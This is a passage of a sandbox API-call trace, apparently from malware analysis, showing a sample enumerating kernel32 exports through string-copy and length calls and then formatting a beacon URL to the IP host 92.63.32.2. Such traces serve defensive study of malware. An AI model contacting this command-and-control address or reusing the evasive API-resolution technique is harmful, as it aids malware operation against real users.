[0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0055.326] lstrlenA (lpString="CREATEJOBSET") returned 12 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0055.326] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0055.326] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0055.326] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0055.326] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0055.327] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0055.327] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0055.327] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0055.327] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0055.327] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0055.327] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0055.327] lstrlenA (lpString="CREATEPIPE") returned 10 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0055.327] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0055.327] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0055.327] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0055.327] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0055.327] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0055.327] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0055.327] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0055.328] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0055.328] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0055.328] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0055.328] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0055.328] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0055.328] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0055.328] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0055.328] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0055.328] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0055.328] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0055.328] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0055.329] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0055.329] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0055.329] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0055.329] lstrlenA (lpString="CREATETHREAD") returned 12 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0055.329] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0055.329] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0055.329] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0055.329] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0055.329] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0055.329] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0055.329] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0055.329] lstrlenA (lpString="CREATETIMERQUEUETIMER") returned 21 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateToolhelp32Snapshot" | out: lpString1="CreateToolhelp32Snapshot") returned="CreateToolhelp32Snapshot" [0055.329] lstrlenA (lpString="CREATETOOLHELP32SNAPSHOT") returned 24 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerA" | out: lpString1="CreateWaitableTimerA") returned="CreateWaitableTimerA" [0055.329] lstrlenA (lpString="CREATEWAITABLETIMERA") returned 20 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerExA" | out: lpString1="CreateWaitableTimerExA") returned="CreateWaitableTimerExA" [0055.329] lstrlenA (lpString="CREATEWAITABLETIMEREXA") returned 22 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerExW" | out: lpString1="CreateWaitableTimerExW") returned="CreateWaitableTimerExW" [0055.329] lstrlenA (lpString="CREATEWAITABLETIMEREXW") returned 22 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CreateWaitableTimerW" | out: lpString1="CreateWaitableTimerW") returned="CreateWaitableTimerW" [0055.329] lstrlenA (lpString="CREATEWAITABLETIMERW") returned 20 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="CtrlRoutine" | out: lpString1="CtrlRoutine") returned="CtrlRoutine" [0055.329] lstrlenA (lpString="CTRLROUTINE") returned 11 [0055.329] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeactivateActCtx" | out: lpString1="DeactivateActCtx") returned="DeactivateActCtx" [0055.330] lstrlenA (lpString="DEACTIVATEACTCTX") returned 16 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugActiveProcess" | out: lpString1="DebugActiveProcess") returned="DebugActiveProcess" [0055.330] lstrlenA (lpString="DEBUGACTIVEPROCESS") returned 18 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugActiveProcessStop" | out: lpString1="DebugActiveProcessStop") returned="DebugActiveProcessStop" [0055.330] lstrlenA (lpString="DEBUGACTIVEPROCESSSTOP") returned 22 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugBreak" | out: lpString1="DebugBreak") returned="DebugBreak" [0055.330] lstrlenA (lpString="DEBUGBREAK") returned 10 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugBreakProcess" | out: lpString1="DebugBreakProcess") returned="DebugBreakProcess" [0055.330] lstrlenA (lpString="DEBUGBREAKPROCESS") returned 17 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DebugSetProcessKillOnExit" | out: lpString1="DebugSetProcessKillOnExit") returned="DebugSetProcessKillOnExit" [0055.330] lstrlenA (lpString="DEBUGSETPROCESSKILLONEXIT") returned 25 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DecodePointer" | out: lpString1="DecodePointer") returned="DecodePointer" [0055.330] lstrlenA (lpString="DECODEPOINTER") returned 13 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DecodeSystemPointer" | out: lpString1="DecodeSystemPointer") returned="DecodeSystemPointer" [0055.330] lstrlenA (lpString="DECODESYSTEMPOINTER") returned 19 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DefineDosDeviceA" | out: lpString1="DefineDosDeviceA") returned="DefineDosDeviceA" [0055.330] lstrlenA (lpString="DEFINEDOSDEVICEA") returned 16 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DefineDosDeviceW" | out: lpString1="DefineDosDeviceW") returned="DefineDosDeviceW" [0055.330] lstrlenA (lpString="DEFINEDOSDEVICEW") returned 16 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DelayLoadFailureHook" | out: lpString1="DelayLoadFailureHook") returned="DelayLoadFailureHook" [0055.330] lstrlenA (lpString="DELAYLOADFAILUREHOOK") returned 20 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteAtom" | out: lpString1="DeleteAtom") returned="DeleteAtom" [0055.330] lstrlenA (lpString="DELETEATOM") returned 10 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteBoundaryDescriptor" | out: lpString1="DeleteBoundaryDescriptor") returned="DeleteBoundaryDescriptor" [0055.330] lstrlenA (lpString="DELETEBOUNDARYDESCRIPTOR") returned 24 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteCriticalSection" | out: lpString1="DeleteCriticalSection") returned="DeleteCriticalSection" [0055.330] lstrlenA (lpString="DELETECRITICALSECTION") returned 21 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFiber" | out: lpString1="DeleteFiber") returned="DeleteFiber" [0055.330] lstrlenA (lpString="DELETEFIBER") returned 11 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileA" | out: lpString1="DeleteFileA") returned="DeleteFileA" [0055.330] lstrlenA (lpString="DELETEFILEA") returned 11 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileTransactedA" | out: lpString1="DeleteFileTransactedA") returned="DeleteFileTransactedA" [0055.330] lstrlenA (lpString="DELETEFILETRANSACTEDA") returned 21 [0055.330] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileTransactedW" | out: lpString1="DeleteFileTransactedW") returned="DeleteFileTransactedW" [0055.330] lstrlenA (lpString="DELETEFILETRANSACTEDW") returned 21 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteFileW" | out: lpString1="DeleteFileW") returned="DeleteFileW" [0055.331] lstrlenA (lpString="DELETEFILEW") returned 11 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteProcThreadAttributeList" | out: lpString1="DeleteProcThreadAttributeList") returned="DeleteProcThreadAttributeList" [0055.331] lstrlenA (lpString="DELETEPROCTHREADATTRIBUTELIST") returned 29 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteTimerQueue" | out: lpString1="DeleteTimerQueue") returned="DeleteTimerQueue" [0055.331] lstrlenA (lpString="DELETETIMERQUEUE") returned 16 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteTimerQueueEx" | out: lpString1="DeleteTimerQueueEx") returned="DeleteTimerQueueEx" [0055.331] lstrlenA (lpString="DELETETIMERQUEUEEX") returned 18 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteTimerQueueTimer" | out: lpString1="DeleteTimerQueueTimer") returned="DeleteTimerQueueTimer" [0055.331] lstrlenA (lpString="DELETETIMERQUEUETIMER") returned 21 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteVolumeMountPointA" | out: lpString1="DeleteVolumeMountPointA") returned="DeleteVolumeMountPointA" [0055.331] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTA") returned 23 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeleteVolumeMountPointW" | out: lpString1="DeleteVolumeMountPointW") returned="DeleteVolumeMountPointW" [0055.331] lstrlenA (lpString="DELETEVOLUMEMOUNTPOINTW") returned 23 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DeviceIoControl" | out: lpString1="DeviceIoControl") returned="DeviceIoControl" [0055.331] lstrlenA (lpString="DEVICEIOCONTROL") returned 15 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisableThreadLibraryCalls" | out: lpString1="DisableThreadLibraryCalls") returned="DisableThreadLibraryCalls" [0055.331] lstrlenA (lpString="DISABLETHREADLIBRARYCALLS") returned 25 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisableThreadProfiling" | out: lpString1="DisableThreadProfiling") returned="DisableThreadProfiling" [0055.331] lstrlenA (lpString="DISABLETHREADPROFILING") returned 22 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisassociateCurrentThreadFromCallback" | out: lpString1="DisassociateCurrentThreadFromCallback") returned="DisassociateCurrentThreadFromCallback" [0055.331] lstrlenA (lpString="DISASSOCIATECURRENTTHREADFROMCALLBACK") returned 37 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DisconnectNamedPipe" | out: lpString1="DisconnectNamedPipe") returned="DisconnectNamedPipe" [0055.331] lstrlenA (lpString="DISCONNECTNAMEDPIPE") returned 19 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DnsHostnameToComputerNameA" | out: lpString1="DnsHostnameToComputerNameA") returned="DnsHostnameToComputerNameA" [0055.331] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEA") returned 26 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DnsHostnameToComputerNameW" | out: lpString1="DnsHostnameToComputerNameW") returned="DnsHostnameToComputerNameW" [0055.331] lstrlenA (lpString="DNSHOSTNAMETOCOMPUTERNAMEW") returned 26 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DosDateTimeToFileTime" | out: lpString1="DosDateTimeToFileTime") returned="DosDateTimeToFileTime" [0055.331] lstrlenA (lpString="DOSDATETIMETOFILETIME") returned 21 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DosPathToSessionPathA" | out: lpString1="DosPathToSessionPathA") returned="DosPathToSessionPathA" [0055.331] lstrlenA (lpString="DOSPATHTOSESSIONPATHA") returned 21 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DosPathToSessionPathW" | out: lpString1="DosPathToSessionPathW") returned="DosPathToSessionPathW" [0055.331] lstrlenA (lpString="DOSPATHTOSESSIONPATHW") returned 21 [0055.331] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DuplicateConsoleHandle" | out: lpString1="DuplicateConsoleHandle") returned="DuplicateConsoleHandle" [0055.332] lstrlenA (lpString="DUPLICATECONSOLEHANDLE") returned 22 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="DuplicateHandle" | out: lpString1="DuplicateHandle") returned="DuplicateHandle" [0055.332] lstrlenA (lpString="DUPLICATEHANDLE") returned 15 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnableThreadProfiling" | out: lpString1="EnableThreadProfiling") returned="EnableThreadProfiling" [0055.332] lstrlenA (lpString="ENABLETHREADPROFILING") returned 21 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EncodePointer" | out: lpString1="EncodePointer") returned="EncodePointer" [0055.332] lstrlenA (lpString="ENCODEPOINTER") returned 13 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EncodeSystemPointer" | out: lpString1="EncodeSystemPointer") returned="EncodeSystemPointer" [0055.332] lstrlenA (lpString="ENCODESYSTEMPOINTER") returned 19 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EndUpdateResourceA" | out: lpString1="EndUpdateResourceA") returned="EndUpdateResourceA" [0055.332] lstrlenA (lpString="ENDUPDATERESOURCEA") returned 18 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EndUpdateResourceW" | out: lpString1="EndUpdateResourceW") returned="EndUpdateResourceW" [0055.332] lstrlenA (lpString="ENDUPDATERESOURCEW") returned 18 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnterCriticalSection" | out: lpString1="EnterCriticalSection") returned="EnterCriticalSection" [0055.332] lstrlenA (lpString="ENTERCRITICALSECTION") returned 20 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoA" | out: lpString1="EnumCalendarInfoA") returned="EnumCalendarInfoA" [0055.332] lstrlenA (lpString="ENUMCALENDARINFOA") returned 17 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoExA" | out: lpString1="EnumCalendarInfoExA") returned="EnumCalendarInfoExA" [0055.332] lstrlenA (lpString="ENUMCALENDARINFOEXA") returned 19 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoExEx" | out: lpString1="EnumCalendarInfoExEx") returned="EnumCalendarInfoExEx" [0055.332] lstrlenA (lpString="ENUMCALENDARINFOEXEX") returned 20 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoExW" | out: lpString1="EnumCalendarInfoExW") returned="EnumCalendarInfoExW" [0055.332] lstrlenA (lpString="ENUMCALENDARINFOEXW") returned 19 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumCalendarInfoW" | out: lpString1="EnumCalendarInfoW") returned="EnumCalendarInfoW" [0055.332] lstrlenA (lpString="ENUMCALENDARINFOW") returned 17 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsA" | out: lpString1="EnumDateFormatsA") returned="EnumDateFormatsA" [0055.332] lstrlenA (lpString="ENUMDATEFORMATSA") returned 16 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsExA" | out: lpString1="EnumDateFormatsExA") returned="EnumDateFormatsExA" [0055.332] lstrlenA (lpString="ENUMDATEFORMATSEXA") returned 18 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsExEx" | out: lpString1="EnumDateFormatsExEx") returned="EnumDateFormatsExEx" [0055.332] lstrlenA (lpString="ENUMDATEFORMATSEXEX") returned 19 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsExW" | out: lpString1="EnumDateFormatsExW") returned="EnumDateFormatsExW" [0055.332] lstrlenA (lpString="ENUMDATEFORMATSEXW") returned 18 [0055.332] lstrcpyA (in: lpString1=0x2c4f2a0, lpString2="EnumDateFormatsW" | out: lpString1="EnumDateFormatsW") returned="EnumDateFormatsW" [0055.333] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x2ef0000 [0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2f00000 [0055.334] GetTickCount () returned 0x1d0d5 [0055.334] GetTickCount () returned 0x1d0d5 [0055.334] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x2f10000 [0055.335] wsprintfA (in: param_1=0x2ef0000, param_2="http://%s%s" | out: param_1="http://92.63.32.2/tbrelgdfl.cgi?ah=wjfq2ey&j=23t84u4&ytxn=8kk6be554") returned 67 [0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f20000 [0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2f30000 [0055.335] VirtualAlloc (lpAddress=0x0, dwSize=0x33, flAllocationType=0x3000, flProtect=0x4) returned 0x2f40000 [0055.336] VirtualAlloc (lpAddress=0x0, dwSize=0x3d, flAllocationType=0x3000, flProtect=0x4) returned 0x2f50000 [0055.336] lstrlenA (lpString="kernel32.dll") returned 12 [0055.336] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0055.336] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0055.336] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0055.336] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0055.336] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0055.336] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0055.336] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0055.336] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0055.336] lstrlenA (lpString="ADDATOMA") returned 8 [0055.336] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0055.336] lstrlenA (lpString="ADDATOMW") returned 8 [0055.336] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0055.336] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0055.336] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0055.337] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0055.337] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0055.337] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0055.337] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0055.337] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0055.337] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0055.337] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0055.337] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0055.337] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0055.337] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0055.337] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0055.337] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0055.337] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0055.337] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0055.337] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0055.337] lstrcpyA (in: lpString1=0x2c4eb68, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" 